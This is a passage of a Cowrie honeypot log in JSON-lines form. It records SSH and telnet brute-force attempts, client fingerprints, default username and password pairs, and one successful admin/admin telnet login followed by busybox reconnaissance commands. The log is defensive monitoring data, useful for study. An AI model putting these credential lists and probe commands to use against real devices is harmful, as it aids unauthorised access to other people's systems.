{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":35832,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7dc566f8e9","protocol":"ssh","message":"New connection: 117.247.23.131:35832 (159.203.135.109:22) [session: 7b7dc566f8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:38.354663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:38.359965Z","src_ip":"117.247.23.131","session":"7b7dc566f8e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:38.838505Z","src_ip":"159.203.92.129","session":"ddeabc07d7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:38.981488Z","src_ip":"117.247.23.131","session":"7b7dc566f8e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345s","message":"login attempt [postgres/12345s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:42.017793Z","src_ip":"117.247.23.131","session":"7b7dc566f8e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:43.656900Z","src_ip":"117.247.23.131","session":"7b7dc566f8e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00546407699585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:47.794371Z","src_ip":"94.79.18.201","session":"9460f5bd1525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":46900,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3591f2976fa","protocol":"telnet","message":"New connection: 94.79.18.201:46900 (159.203.135.109:23) [session: b3591f2976fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:48.294403Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34496,"dst_ip":"159.203.135.109","dst_port":22,"session":"c28175d57679","protocol":"ssh","message":"New connection: 159.203.92.129:34496 (159.203.135.109:22) [session: c28175d57679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:22.211203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:22.219477Z","src_ip":"159.203.92.129","session":"c28175d57679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:22.229680Z","src_ip":"159.203.92.129","session":"c28175d57679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"12345678","message":"login attempt [adam/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:22.244387Z","src_ip":"159.203.92.129","session":"c28175d57679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:23.255756Z","src_ip":"159.203.92.129","session":"c28175d57679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":2222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e0d0002d22e","protocol":"ssh","message":"New connection: 20.193.141.133:2222 (10.17.0.5:22) [session: 8e0d0002d22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:38.533852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:38.538594Z","src_ip":"20.193.141.133","session":"8e0d0002d22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:38.733088Z","src_ip":"20.193.141.133","session":"8e0d0002d22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass","message":"login attempt [admin/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:39.546881Z","src_ip":"20.193.141.133","session":"8e0d0002d22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00100779533386,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:39.663743Z","src_ip":"102.135.170.60","session":"c350e699d137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:40.743781Z","src_ip":"20.193.141.133","session":"8e0d0002d22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00097393989563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:41.119735Z","src_ip":"102.135.170.60","session":"42c362ad6f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"338f0510af05","protocol":"telnet","message":"New connection: 102.135.170.60:39304 (10.17.0.5:23) [session: 338f0510af05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:41.910447Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"f782e59655fd","protocol":"telnet","message":"New connection: 102.135.170.60:39436 (10.17.0.5:23) [session: f782e59655fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:42.604083Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.89","src_port":57924,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb669b83045","protocol":"telnet","message":"New connection: 85.11.167.89:57924 (10.17.0.5:23) [session: 4eb669b83045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:47.834720Z"}
{"eventid":"cowrie.session.closed","duration":0.005063295364379883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:47.839654Z","src_ip":"85.11.167.89","session":"4eb669b83045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.89","src_port":57936,"dst_ip":"10.17.0.5","dst_port":23,"session":"40b00154ef3c","protocol":"telnet","message":"New connection: 85.11.167.89:57936 (10.17.0.5:23) [session: 40b00154ef3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:47.920671Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:48.432578Z","src_ip":"85.11.167.89","session":"40b00154ef3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5113520622253418,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:49.431894Z","src_ip":"85.11.167.89","session":"40b00154ef3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.89","src_port":57944,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5a1cea963d","protocol":"telnet","message":"New connection: 85.11.167.89:57944 (10.17.0.5:23) [session: 4f5a1cea963d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:49.516871Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:50.031228Z","src_ip":"85.11.167.89","session":"4f5a1cea963d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5163486003875732,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:51.033103Z","src_ip":"85.11.167.89","session":"4f5a1cea963d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.89","src_port":57958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a80619c34eec","protocol":"telnet","message":"New connection: 85.11.167.89:57958 (10.17.0.5:23) [session: a80619c34eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:51.116582Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:51.626028Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:51.685546Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:52.629131Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:53.123316Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:53.723396Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:55.167696Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:55.174080Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"4.1","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:55.773709Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.671098470687866,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:23:55.787567Z","src_ip":"85.11.167.89","session":"a80619c34eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47598,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d11295574a8","protocol":"ssh","message":"New connection: 159.203.92.129:47598 (159.203.135.109:22) [session: 8d11295574a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:06.569071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:06.574659Z","src_ip":"159.203.92.129","session":"8d11295574a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:06.579614Z","src_ip":"159.203.92.129","session":"8d11295574a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"123456789","message":"login attempt [adam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:06.592678Z","src_ip":"159.203.92.129","session":"8d11295574a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:07.604950Z","src_ip":"159.203.92.129","session":"8d11295574a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":53686,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d692a1b256","protocol":"ssh","message":"New connection: 117.247.23.131:53686 (159.203.135.109:22) [session: a2d692a1b256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:19.507012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:19.512358Z","src_ip":"117.247.23.131","session":"a2d692a1b256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:20.107363Z","src_ip":"117.247.23.131","session":"a2d692a1b256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:23.008384Z","src_ip":"117.247.23.131","session":"a2d692a1b256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:24.710241Z","src_ip":"117.247.23.131","session":"a2d692a1b256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":17696,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee252207170","protocol":"ssh","message":"New connection: 20.193.141.133:17696 (10.17.0.5:22) [session: aee252207170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:42.736202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:42.741264Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"